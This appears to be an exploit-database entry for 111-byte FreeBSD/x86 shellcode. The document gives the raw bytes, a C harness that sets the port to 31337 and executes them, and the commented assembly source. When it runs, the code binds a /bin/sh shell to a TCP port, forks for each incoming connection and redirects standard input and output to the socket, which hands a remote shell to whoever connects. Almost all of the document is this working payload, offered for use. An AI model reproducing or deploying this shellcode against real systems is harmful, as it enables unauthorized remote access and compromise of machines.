FreeBSD/x86 - Bind (31337/TCP) Shell (/bin/sh) + fork() Shellcode (111 bytes)

Author: Tosh
type: 
platform: freebsd_x86
port: 111.0
date_added: 2011-01-21 
date_updated: 2018-01-11 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/*
 -------------- FreeBSD/x86 - portbind shell + fork (111 bytes)--------------------
 *  AUTHOR : Tosh
 *   OS    : BSDx86 (Tested on FreeBSD 8.1)
 *   EMAIL : tosh@tuxfamily.org
 */



#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

char shellcode [] = "\x31\xc9\xf7\xe1\x51\x40\x50\x40\x50\x50\xb0\x61\xcd\x80\x96\x52\x66"
                    "\x68\x05\x39\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x56\x50\xb0\x68\xcd"
                    "\x80\x31\xc0\xb0\x05\x50\x56\x50\xb0\x6a\xcd\x80\x31\xc0\x50\x50\x56"
                    "\x50\xb0\x1e\xcd\x80\x97\x31\xc0\x50\xb0\x02\xcd\x80\x09\xc0\x74\xea"
                    "\x31\xc9\x31\xc0\x51\x57\x50\xb0\x5a\xcd\x80\xfe\xc1\x80\xf9\x03\x75"
                    "\xf0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
                    "\xe1\x52\x51\x53\xb0\x3b\x50\xcd\x80";

void change_shellcode(unsigned short port)
{
   *((unsigned short*)(shellcode + 18)) = htons(port);
}
void print_shellcode(void)
{
   int i;
   for(i = 0; i < sizeof(shellcode) - 1; i++)
   {
      printf("\\x%.2x", (unsigned char)shellcode[i]);
   }
   printf("\n");
}
int main(void)
{
   unsigned short port = 31337;

   change_shellcode(port);
   print_shellcode();
   printf("Shellcode len = %d bytes\n", sizeof(shellcode)-1);
   void (*f)() = (void*) shellcode;

   f();

   return 0;
}

/*
   section .text
      global _start

   _start:
      xor ecx, ecx
      mul ecx
      push ecx
      inc eax
      push eax
      inc eax
      push eax
      push eax
      mov al, 97        ; socket(AF_INET, SOCK_STREAM, 0)
      int 0x80

      xchg esi, eax

      push edx
      push word 0x3905
      push word 0x0201
      mov ecx, esp

      push byte 16
      push ecx
      push esi
      push eax
      mov al, 104       ; bind(sock, sockaddr*, sizeof(sockaddr))
      int 0x80

      xor eax, eax
      mov al, 5
      push eax
      push esi
      push eax
      mov al, 106       ; listen(sock, 5)
      int 0x80

   .ACCEPT:
      xor eax, eax
      push eax
      push eax
      push esi
      push eax
      mov al, 30        ; accept(sock, 0, 0)
      int 0x80

      xchg edi, eax

      xor eax, eax
      push eax
      mov al, 2         ; fork()
      int 0x80

      or eax, eax
      jz .ACCEPT


      xor ecx, ecx      ; dup2 STDERR, STDIN, STDOUT
   .L:
      xor eax, eax
      push ecx
      push edi
      push eax
      mov al, 90
      int 0x80
      inc cl
      cmp cl, 3
      jne .L

      push edx
      push '//sh'
      push '/bin'

      mov ebx, esp
      push edx
      push ebx
      mov ecx, esp
      push edx
      push ecx
      push ebx
      mov al, 59        ; execve("/bin//sh", ["/bin/sh", NULL], NULL)
      push eax
      int 0x80
*/